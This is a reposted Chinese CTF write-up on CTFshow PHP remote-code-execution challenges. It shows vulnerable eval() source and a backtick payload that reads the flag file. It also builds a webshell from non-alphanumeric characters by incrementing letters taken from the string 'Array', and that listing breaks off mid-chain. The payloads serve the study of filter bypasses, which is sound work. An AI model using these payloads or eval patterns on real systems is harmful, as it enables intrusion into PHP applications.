RCE 自增RCE 参考[CTFshow-RCE极限大挑战官方wp] RCE-1[过滤.(] RCE-2p[自增-Array]
wp指路
开始复现
题目源码
PHPerror_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);?>
过滤了(
和.
,wp有写文件包含,ls看了一眼直接开摆
因为php的反引号可以执行系统命令,就可以直接POST得到flag
code=echo `$_POST[1]`;&1=cat /f*
题目源码
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGaiN?"); } }else{ phpinfo(); }}?>
禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造WEBshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^
和取反~
都被过滤了,就可以用到数组[]
和递增++
了
先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串
// highlight_file(__FILE__);$_ = [];//Arrayecho $_.'
';$_ = [].'';//Arrayecho $_.'
';$_ = "$_";//Arrayecho $_.'
';$_ = $_['!'=='@'];//Array[0]=>Aecho $_.'
';echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了
';@$a=(0/0);//NANecho $a.'
';@$b=(1/0);//NANecho $b;?>
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了
$_=[].'';//Array$_=$_[''=='$'];//A$____='_';//_$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P$____.=$__;//_P$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O$____.=$__;//_PO$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S$____.=$__;//_POS$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__
来源地址:https://blog.csdn.net/qaq517384/article/details/127976798
--结束END--
本文标题: 一些RCE的汇总
本文链接: https://lsjlt.com/news/424096.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0